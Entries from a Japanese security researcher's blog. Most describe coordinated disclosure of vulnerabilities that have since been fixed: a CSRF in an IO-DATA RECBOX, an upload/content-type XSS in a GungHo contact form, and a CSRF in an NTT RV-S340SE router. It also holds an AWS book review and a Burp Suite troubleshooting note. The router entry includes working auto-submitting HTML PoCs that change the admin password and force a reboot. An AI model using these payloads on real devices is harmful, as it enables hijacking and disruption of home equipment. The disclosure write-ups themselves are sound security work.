Hatena::ブログ(Diary)

思い立ったら書く日記

 

2016-08-22

IO-DATA 製レコーディングハードディスクにおけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正された

| 09:05 | IO-DATA 製レコーディングハードディスクにおけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されたを含むブックマーク

2016 年 8 月 8 日、アイ・オー・データ機器のレコーディングハードディスクにおけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性(JVN#35062083)が修正されました。2016 年 1 月 3 日、僕は HVL-A2.0 でこの脆弱性を発見し、IPA に報告しました。そして、7 ヶ月後に関連製品を含めて当該脆弱性が修正されました。

この日記では、この脆弱性について下記 4 点をまとめました。

  • 脆弱性があった機能
  • 再現手順
  • 製品開発者による修正
  • 報告から取扱終了までの時系列

脆弱性があった機能

レコーディングハードディスク「RECBOX HVL-A2.0」には、保存しているコンテンツを操作できる WebUI 機能(下図)があります。この WebUI にはユーザ認証がなく、この機能の URL にアクセスできれば誰でも利用できます。

f:id:kaito834:20160821123234p:image:w422:h227


当該 WebUI で動画コンテンツを選択して、[削除] (画面上部を参照) を実行すると、Web ブラウザが /dms/transfer_tool/api/remove に POST リクエストを送信します。HTTP Body の「id」パラメータは、動画コンテンツの識別子を指します。

POST /dms/transfer_tool/api/remove HTTP/1.1
Host: 192.168.0.220:55247
Content-Length: 11
Accept: */*
Origin: http://192.168.0.220:55247
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.0.220:55247/dms/doc/transfer_tool/transfer_tool.html?20151071356
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.8,en;q=0.6
Connection: close

id=FS-13936

指定した動画コンテンツの削除に成功すると、当該製品は HTTP レスポンスコード 200 を応答します。

HTTP/1.1 200 OK
Server: Linux/2.6.31.8 UPnP/1.0 DiXiM/5.0
Date: Sun, 21 Aug 2016 03:21:44 GMT
Connection: close
Content-Type: application/json
Access-Control-Allow-Origin: *


この動画コンテンツの削除機能に CSRF の脆弱性*1が存在しました。この HTTP リクエストに秘密情報を含んでいません。また XMLHttpRequest における Origin ヘッダおよびカスタムヘッダの検証(参考1, 参考2)も実施していませんでした。したがって、当該製品の利用者が罠サイトを閲覧すると、任意の動画コンテンツを削除する CSRF 攻撃を受ける恐れがありました。

再現手順

手順 1 から 4 で、当該製品に対する CSRF 攻撃を再現できます。この CSRF 攻撃を実現するためには、攻撃者が「削除対象コンテンツ ID」と「当該製品の IP アドレス」を推測する必要があります*2

  1. 削除対象コンテンツが存在することを確認する
    • http://当該製品のIPアドレス:55247/dms/transfer_tool/api/browse?id=FS-4&starting_index=0&requested_count=0
    • パラメータ id の「FS-4」は、削除対象コンテンツを格納しているフォルダのコンテンツ ID を指す
  2. 罠サイトに実証コードを配置する
  3. 当該製品の利用者を罠サイトに誘導する
  4. 改めて手順 1. を実施して、削除対象コンテンツが存在しないことを確認する
削除対象コンテンツ ID

脆弱性報告時の動画コンテンツ ID の分布*3をふまえると、動画コンテンツ ID を総当たりに試行すれば、現実的に任意の動画コンテンツを削除できる可能性があると判断しました。

当該製品の IP アドレス

WebRTC 実装仕様を利用することで、当該製品の IP アドレスを特定できると判断しました。

まず当該製品は、初期設定で DHCP サーバから IP アドレスを取得するよう設計されており、当該製品と利用者の PC が同一 LAN に接続する使い方が一般的だと考えます。また、Google Chrome および Mozilla Firefox の WebRTC 実装には、JavaScript からローカルホストの IP アドレスを取得できる仕様があります*4。そこで、Web ブラウザが動作するローカルホストの IP アドレスを取得して、同一 LAN の IP アドレスに対して当該製品の固有情報の有無(例:特定 URI の画像ファイル)を試行すれば、当該製品の IP アドレスを特定できます。

実際に Buffer NAS に対する Exploit コードをもとに、実証コード:cve-2016-4845_csrf-delete-withWebRTC_poc.htmlを準備しました。

製品開発者による修正

当該製品の最新バージョン 2.04 を確認したところ、/dms/transfer_tool/api/remove に対する POST リクエストの HTTP Body に「token」パラメータが追加されていました。この修正によって、攻撃者がこの「token」パラメータの値を推測できない限り、CSRF 攻撃が成功しなくなりました。

POST /dms/transfer_tool/api/remove HTTP/1.1
Host: 192.168.0.220:55247
Content-Length: 81
Accept: */*
Origin: http://192.168.0.220:55247
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.0.220:55247/dms/doc/transfer_tool/transfer_tool.html?201607211648
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.8,en;q=0.6
Connection: close

id=FS-1411&token=BQQGBgIPBwMi%2Fl6%2B4d4QwZyLDbj8Syiy9XPvxOMTMOAAIXC8c34b0g%3D%3D

報告から取扱終了までの時系列

年月日事柄
2016年1月3日IPA脆弱性を報告
2016年1月4日IPA から届出情報受信の連絡
2016年1月8日IPA から届出情報受理の連絡
2016年2月4日IPA から「JPCERT/CCによる製品開発者への連絡開始」の連絡
2016年2月20日IPA に追加の実証コードを送付
2016年8月3日製品開発者が当該脆弱性を修正したファームウェア 2.04 を公開
2016年8月8日JVN における脆弱性情報の公表

さいごに

脆弱性を修正いただいた(株)アイ・オー・データ機器、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。


参考情報

  • ブラウザハック
    • 9.3 クロスオリジンでの Web アプリケーションの特定, 第 9 章 Web アプリケーションに対する攻撃
    • フックしたブラウザの内部 IP アドレスの特定, 10.1 標的の特定, 第 10 章 ネットワークに対する攻撃

*1:厳密には CSRF の脆弱性と言えません。IPA安全なウェブサイトの作り方」およびOWASPにおける CSRF の定義では「ログイン状態のユーザ」を規定しています。しかし、この脆弱性はその定義を満たしません(当該機能にはログイン機構が存在しないため)。便宜上、この日記では CSRF の脆弱性と呼称します。

*2:この再現手順では削除対象コンテンツ ID を「FS-6411」、当該製品の IP アドレスを「192.168.0.220」としています。

*3:2016/01/02 時点で FS-108 から FS-8781 の範囲に 671 の動画コンテンツが分布していました

*4:2016 年 1 月 3 日報告時点で、Chrome 47.0.2526.106 m および Firefox 43.0.1 を使いローカルホストの IP アドレスを取得できることを確認済み

2016-06-05

ガンホー問い合わせフォームにおけるアップロードファイルに起因する脆弱性が修正された

| 20:54 | ガンホー問い合わせフォームにおけるアップロードファイルに起因する脆弱性が修正されたを含むブックマーク

2016 年 5 月 3 日、ガンホー・オンライン・エンターテイメント株式会社(以降、ガンホー社)に「République(リパブリック)」について問い合わせるとき、お問い合わせフォームに脆弱性を発見しました。同日中にガンホー社および IPA に報告したところ、同月 31 日、当該脆弱性が修正されました。

アップロードファイルに起因する脆弱性

要約

ガンホー社の問い合わせフォームでは、クエリストリングで Content-Type を指定できる実装でした。アップロードファイルを確認するウェブページで、この実装を悪用して、ウェブブラウザ上で任意のスクリプトを実行できました。

脆弱性があったお問い合わせフォーム

当該お問い合わせフォームでは、ユーザが問い合わせに関するファイルをアップロードできます(下図*1)。このアップロード機能では、ファイルの拡張子を検証していますが、ファイルの中身(マジックバイトなど)を検証していないようです。スクリプトを含む HTML ファイルを「a.jpeg」で保存すると、当該お問い合わせフォームに「a.jpeg」をアップロードできました。

f:id:kaito834:20160602011800p:image:w467:h202


お問い合わせを送信する前に、アップロードしたファイルをウェブページで確認できます。このウェブページでは、クエリストリングに「mime」パラメータを指定でき(左下図)、このパラメータの値が Content-Type ヘッダにそのまま出力されました。試しに mime=text/plain と指定すると、Content-Type: text/plain; charset=utf-8 と出力されました(右下図)。

f:id:kaito834:20160602011801p:image:w352:h170f:id:kaito834:20160602011803p:image:w352:h170

脆弱性の再現手順

下記の (a), (b) の手順で脆弱性を再現できました。

(a) 当該問い合わせフォームに下記のHTMLファイルを「a.jpeg」としてアップロードする

<html>
<head>
<title>test</title>
<script>alert(1);</script>
</head>
<body>
</body>
</html>

(b) 当該脆弱性のあるウェブページに遷移して、「mime」パラメータに「text/html」を指定する。この結果として、アラートダイアログがポップアップ表示できた(下図)。

f:id:kaito834:20160604010136p:image:w464:h190

この脆弱性による脅威

ガンホー社には、「contact.gungho.jp ドメインを使ったフィッシングサイトに悪用されること」を脅威としてお伝えしました。

ガンホー社による脆弱性の修正

2016 年 5 月 29 日、報告したウェブページで改めて再現手順を実施したところ、「mime」パラメータが削除されていました。このとき、Content-Type ヘッダには、image/jpeg; charset=utf-8 または text/plain; charset=utf-8 が設定されていました。

ウェブブラウザContent-Type ヘッダの値
Google Chrome 50.0.2661.102 m(左下図)image/jpeg; charset=utf-8
Mozilla Firefox 46.0.1image/jpeg; charset=utf-8
MS Edge 25.10586.0.0(右下図*2text/plain; charset=utf-8
f:id:kaito834:20160604013214p:image:w374:h236f:id:kaito834:20160604013212p:image:w432:h212

前述の手順で脆弱性が再現しなくなったものの、任意のファイルをアップロードできることは変わりません。このため、IE8 などのウェブブラウザではまだセキュリティ上の問題が発生する可能性があります(2016 年 1 月 13 日で IE8 のサポートが終了していますが)。そこで、ガンホー社に修正完了確認を問い合わせたときに、X-Content-Type-Options: nosniff を提案しました。実際に X-Content-Type-Options ヘッダを出力するかは、ガンホー社の判断次第になります。

発見から修正までの時系列

年月日アクション
2016年5月3日ガンホー社および IPA脆弱性を報告
同日ガンホー社から一次返信
2016年5月6日ガンホー社から「担当部署に連絡した」との返信
同日IPA から届出情報受信の返信
2016年5月10日IPA から届出情報受理の連絡
2016年5月11日IPA から届出情報をガンホー社に通知したとの連絡
2016年5月29日脆弱性が修正されたことを確認
同日ガンホー社に修正完了確認を問い合わせ
2016年5月30日IPA から修正完了の連絡
同日ガンホー社から問い合わせへの回答
2016年6月1日IPAガンホー社に「脆弱性情報および時系列を公表すること」の連絡を依頼
2016年6月3日IPA からガンホー社への情報展開および取扱い終了連絡
2016年6月5日この日記を公開

さいごに

脆弱性を修正いただいたガンホー社、報告から修正および取扱終了まで調整いただいた IPA、ご対応ありがとうございました。

*1:2016 年 6 月 2 日に取得したスクリーンショット

*2:2016 年 6 月 4 日に取得したスクリーンショット

2015-04-11

「Amazon Web Services パターン別構築・運用ガイド」を読んだ

| 15:04 | 「Amazon Web Services パターン別構築・運用ガイド」を読んだを含むブックマーク

2015 年 03 月 25 日に「一番大切な知識と技術が身につく Amazon Web Services パターン別構築・運用ガイド」(以降、パターン別構築・運用ガイド)が出版されました。著者の一人、佐々木 拓郎 氏のブログで興味を持ち、当該書籍を読みました。この日記では、感想と読書メモを記録します。

感想

AWS を使ったシステムを構築する、または AWS を使ったシステムを運用する技術者だけではなく、AWS を使ってシステムをレビューする技術者にも役に立つ書籍だと感じました。

僕は AWS を使ったシステムを構築または運用していませんが、AWS を使ったシステムをセキュリティの観点からレビューする場合があります。そのときには、AWS の仕様やセキュリティ機能などの知識が必要です。最終的には AWS 公式ドキュメントを確認しますが、AWS の全般的な知識があれば、どういった点を確認すればよいかポイントを絞れます。この書籍は、そういった全般的な AWS の知識を得る上でとても役に立ちます:)

類似した書籍には「Amazon Web Services クラウドデザインパターン実装ガイド」(以降、実装ガイド)(2013 年 02 月 03 日出版) がありますが、「パターン別構築・運用ガイド」では、「実装ガイド」でふれていない Elastic Beanstalk / Cloud Formation / Cognito などを使った構築例や IAM にも言及しています。また、セキュリティに関する言及も豊富です。例えば、「AWS のセキュリティ」という独立した章、AWS アカウント(通称 root アカウント) における MFA(Multi-Factor Authentication) を有効にすべき項目として紹介する*1、などです。

AWS 公式ドキュメントなどで詳細・不明点を確認するための道しるべとして、この書籍を活用するつもりです。著者の皆様、よい書籍を執筆していただき、ありがとうございました!

読書メモ

  • 当該書籍を読んで、気になった記述をピックアップおよび引用しました。
  • 主に AWS の仕様やセキュリティに関する事柄が該当します。
  • 斜体の文章は当該書籍からの引用です。
Chapter1 AWSの基本
  • pp.22-23 AWSネットワークとVPCネットワーク
    • AWS サービスを AWS ネットワーク、VPC ネットワークごとに分類
    • AWSネットワークはインターネットからのアクセスできるネットワークのこと
    • VPCネットワークはVPC環境内の閉じられたネットワークのこと
  • pp.24-27 Amazon Elastic Compute Cloud
  • pp.27-29 Amazon Elastic Block Store
    • EBSの暗号化
      • AES-256アルゴリズム
      • 暗号化オプションを有効にしたSnapshotを他のAWSアカウントと共有すること、AWS利用ユーザにパブリックに公開することはできない
  • pp.30-33 Amazon Simple Storage Service
    • S3の暗号化
      • サーバサイト暗号化(SSE), AES-256アルゴリズム
      • Amazon S3キー管理(SSE-S3)
      • クライアントキー(SSE-C)
      • AWS KMS(SSE-KMS)
    • S3のアクセス管理
      • バケットポリシー、ACL、IAMでの制御の3つ
      • 表 1-3-1 S3のアクセス管理の単位
  • pp.35-42 Amazon Relational Database Service
    • RDSインスタンスへのアクセスポート
      • RDSインスタンスへは、特定のポートとプロトコルでしかアクセスできません
    • RDSのログ
      • AWSマネージメントコンソール等からRDSのログを確認することができます
    • パラメータグループ
    • オプショングループ
  • pp.47-51 Amazon ElastiCache
    • パラメータグループ
  • pp.61-63 AWSの料金体系
    • 従量課金には、時間ベース、容量ベース、回数ベースの3つがあります
    • 容量ベース
      • ネットワーク課金の考え方としては、インとアウトがあります。外のネットワークからAWSへの通信をインと呼び、AWSから外部のネットワークへの通信はアウトと呼びます。インについては、基本無料です。アウトの通信に対して、1GBあたり幾らという計算の仕方で課金されます
Chapter2 AWSを利用する
  • pp.68-76 AWSアカウントの作成
    • MFA(Multi-Factor Authentication)の設定
      • AWSマネージメントコンソールにサインインして、最初に行うことはMFA(Multi-Factor Authentication)の設定です...特に、現在ログインしているアカウントはルートアカウントと呼ばれ、AWSに対するあらゆる権限を持っています。これが乗っ取られると、AWSのリソースが思うままに使われ、莫大な料金が請求されるだけではなく、最悪の場合、犯罪に利用されることもあります
  • pp.76-91 ユーザアカウントの作成(IAMアカウント)
    • アクセスキーの入手
      • ただし、同じアクセスキーは二度とダウンロードできないので、ダウンロードしたCSVファイルは注意して管理してください
    • IAMポリシー
      • ポリシーは、Managed PoliciesとInline Policiesの2種類があります
  • pp.116-117 Default-VPC
  • pp.118-132 Custom-VPCを作成する
    • VPCネットワークの作成
      • Tenancyで「Dedicated」を設定すると、EC2インスタンスを起動するホストサーバを指定(占有)できます。セキュリティやコンプライアンスの問題で、ホストサーバを他システムと共有することが許されない場合等に使用します
  • pp.133-136 AWS操作用の公開鍵・秘密鍵の作成(KeyPair)
    • AWS外部で作成した公開鍵のインポート
      • 表2-5-2 インポートできる鍵の制限
  • pp.137-142 Security Groupを作成する
    • Security GroupはAWSにおいてファイアウォールの役割を果たします。Security GroupはWhite List方式なので、「何を許可するのか」のみを指定できます。何も指定しなければ、全てを拒否することになります
  • pp.159-162 Elastic IP(EIP)の利用
    • EC2に割り当てることのできるグローバルIPには、2種類あります。1つは、先ほど利用したパブリックIP、もう1つがElastic IP(EIP)です
  • pp.163-167 ELBサービスの詳細
    • External-ELBとInternal-ELB
    • SSLターミネーション
    • スティッキーセッション
      • スティッキーセッションとは、同じユーザからきたリクエストを同じインスタンスで処理させるようにする機能です。ELBのスティッキーセッションは、ELBが独自に発行するCookieを利用する方式と、アプリケーションが発行したCookieを利用する方式の2種類が選択できます
    • ログ取得機能
      • ELBで処理したリクエストのログを取得することができます
Chapter3 パターン別構築例
  • pp.233-239 Elastic Beanstalkを利用したロードバランシングとHTTPSサイトの構築
    • ELB、RDS、Auto Scalingの設定変更
      • SSL証明書は前節でアップロードした証明書を利用します...証明書をアップロードしたのはELBの画面ですが、AWS側ではIAMのなかに保存されています
  • pp.256-263 CloudFrontとの連携
    • 表3-3-4 Distributionの設定(Default Cache Behavior Settings)
      • Forward Cookies
      • Forward Query Strings
      • Restrict Viewer Access
    • 表3-3-5 Distributionの設定(Distribution Settings)
      • Logging
  • pp.275-278 Auto Scaling使用時のEC2インスタンスの初期化処理
  • pp.327-331 EC2インスタンスにメールサーバを構築する
    • メール送信に必要な準備
      • AWSでは、不適切なメール(スパムメール等)の送信に利用されることを防ぐため、パブリックIPやEIPから一定以上のメールが送信できないように制限されています。また、パブリックIPやEIPは原則としてRBL(Real-time Blackhole List)に登録されています。これらは不用意に不適切なメール送信を防ぐことを目的としています
  • pp.342-348 Cognitoによるユーザ認証と2Tierアーキテクチャ
    • Cognitoは、モバイル向けに設計されたAWSの認証・認可のサービスです。Cognitoを利用することにより、アクセスキーとシークレットキーを利用しない認証の仕組みを実現できます
    • Cognitoを中心としたユーザ認証とアクセス認可
      • 構成要素としては、Identity Providerによる認証と、CognitoによるCredentialの発行、IAMロールによる権限の付与の3つの要素になります
      • Cognitoの機能は従来から提供されていたSTS(Security Token Services)を利用したWeb Identity Federationと非常に似ています。Cognitoの内部的には、STSを利用しているというところは同じで、認証やロールの設定等がより簡単に使えるラッパー的なAPIと考えることができるかもしれません
Chapter4 AWSのセキュリティ
  • pp.365- AWSのアカウント種類
    • IAMポリシー
      • AWSが最初から設定しているポリシーをAWS Managed Policiesといい、各ユーザが独自に作成したポリシーをCustomer Managed Policiesといいます
      • IAMマネージドポリシーは、2015年2月に提供された新しいポリシーの管理方法です。IAMユーザやグループ、ロールといった各役割に付与する権限を、オブジェクトとして管理できるようになりました...これまでのポリシー管理方法は「マネージドポリシー」に対して、インラインポリシーとよばれます
Chapter5 管理と運用
  • pp.430-431 AMIの運用方法
    • AMIのオンライン取得
      • AMIはEC2インスタンスが稼働している状態でも取得することは可能です
  • pp.432-435 AWSのサービスログ/操作履歴のログを収集保存する
    • AWSサービスのログを収集する
      • S3のログの注意点としては、2015年2月現在では、ベストエフォート型で全てのアクセスログが完全に出力するという保証はありません。また、ログ出力はリアルタイムではなく、少し遅れて出力されます

2014-11-29

Error "server certificate change is restricted during renegotiation" on Burp Suite Free Edition v1.6

| 16:07 | Error "server certificate change is restricted during renegotiation" on Burp Suite Free Edition v1.6を含むブックマーク

The following errors happened when I used Burp Suite Free Edition v1.6 with upstream proxy; @ posted an image of these errors. Thanks for @anshuman_bh and @, I have known solutions for the errors. And, I blogged this entry for someone who may face the errors.

Attempting to auto-select SSL parameters for <FQDN>
Failed to auto-select SSL parameters for <FQDN>
javax.net.SSLException: server certificate change is restricted during renegotiation
server certificate change is restricted during renegotiation

Solution

  • Use latest Burp Suite

Burp Suite v1.6.07 applied a workaround related to the errors by @Burp_Suite (tweet). If you use Burp Suite Free Edition, I use, you cannot update to date soon. Then you can do some workarounds.

Workarounds
  • Use Burp Suite without upstream proxy by @anshuman_bh (tweet)
  • Use Java 1.7_67 and earlier version; it is bad for security reason.
    • The errors happened with Java 1.7_71 .
    • I confirmed that it was not the errors Burp Suite with Java 1.7_67 .
  • Use Burp Suite with OWASP ZAP by @ and @ (tweet)
    • Burp Suite -> OWASP ZAP -> upstream proxy

2014-11-20

ひかり電話ルータ 「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正された

| 01:30 | ひかり電話ルータ 「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されたを含むブックマーク

2012 年 12 月、ひかり電話ルータ「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されました。2011 年 9 月 26 日に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。取扱終了となった理由は、「RV-440MI」の脆弱性と同様でした。

脆弱性の再現手順

IPA に報告した脆弱性関連情報(様式)から再現手順を引用します。

2. 脆弱性関連情報
(snip)
  2) 脆弱性を確認したソフトウエア等に関する情報
     名称:ひかり電話ルータ (RV-S340SE)
     バージョン:14.07
(snip)
  3) 脆弱性の種類
     クロスサイト・リクエスト・フォージェリ


  4) 再現手順
     RV-S340SE のウェブ管理インターフェイスに特定のパラメータと値
     を送信させるウェブページに、RV-S340SE にログインした利用者を
     誘導することでクロスサイト・リクエスト・フォージェリが再現で
     きます。

     この再現手順では、「RV-S340SE のウェブ管理インターフェイスの
     パスワードを変更させる」、「RV-S340SE を再起動させる」、2 つ
     の手順を示します。

     ■「RV-S340SE のウェブ管理インターフェイスのパスワードを変更させる」
     (1) 以下の内容の html ファイルをウェブサーバに設置する。
         この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側
         IP アドレスとなります。
     ------------------------------
     <html>
     <head><title>RV-S340SE CSRF(change password) PoC</title></head>
     <body onLoad="document.getElementById('form0').submit();">
     <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post">
     <input type="hidden" name="mbg_webname" value="loginpass_user_input">
     <input type="hidden" name="config_no" value="1">
     <input type="hidden" name="loginpass_user_pass" value="exploit">
     <input type="hidden" name="loginpass_user_passcfm" value="exploit">
     <input type="hidden" name="mbg_set" value="設定">
     <input type="submit" value="exploit">
     </form>
     </body>
     </html>
     ------------------------------

     (2) RV-S340SE にウェブブラウザでアクセスして認証する。

     (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の
         html ファイルにアクセスする。

         当該 html ファイルでは JavaScript により自動的に POST
         リクエストを送信するため、ウェブブラウザでは JavaScript
         を有効にしておくこと。

     (4) 別のウェブブラウザから RV-S340SE にアクセスして認証する。
         このとき、パスワードには「exploit」を指定する。

         (2) でログインしたときのパスワードが (1) で指定したパス
         ワード「exploit」に変わっていることを確認できます。

     ■「RV-S340SE を再起動させる」
     (1) 以下の内容の html ファイルをウェブサーバに設置する。
         この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側
         IP アドレスとなります。
     ------------------------------
     <html>
     <head><title>RV-S340SE CSRF(Reboot) PoC</title></head>
     <body onLoad="document.getElementById('form0').submit();">
     <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post">
     <input type="hidden" name="mbg_webname" value="reboot">
     <input type="hidden" name="config_no" value="1">
     <input type="hidden" name="mbg_reboot_set" value="再起動">
     <input type="submit" value="exploit">
     </form>
     </body>
     </html>
     ------------------------------

     (2) RV-S340SE にウェブブラウザでアクセスして認証する。

     (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の
         html ファイルにアクセスする。

         当該 html ファイルでは JavaScript により自動的に POST
         リクエストを送信するため、ウェブブラウザでは JavaScript
         を有効にしておくこと。

     (4) RV-S340SE が再起動することを確認できます。

報告から取扱終了までの時系列

手元に残っている記録をもとに時系列をまとめました。IPA から質問いただいた記録もないため、報告した後には取扱終了まで音沙汰がなかったと思います。

年月日事柄
2011/09/26IPA脆弱性情報を報告
2012/12/10ファームウェア Ver.17.03 がリリース
2012/12/25ファームウェア Ver.17.04*1 がリリース
2014/10/21IPA から取扱終了の連絡をいただく。同日、取扱終了に同意

さいごに

脆弱性を修正いただいた NTT 社、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

*1IPA からは「届出頂いた脆弱性に対する修正を実施したファームウェアを 2012 年 12 月にリリースした」と連絡いただきました。このことから、17.03 または 17.04 のどちらかで当該脆弱性が修正されたと判断しました。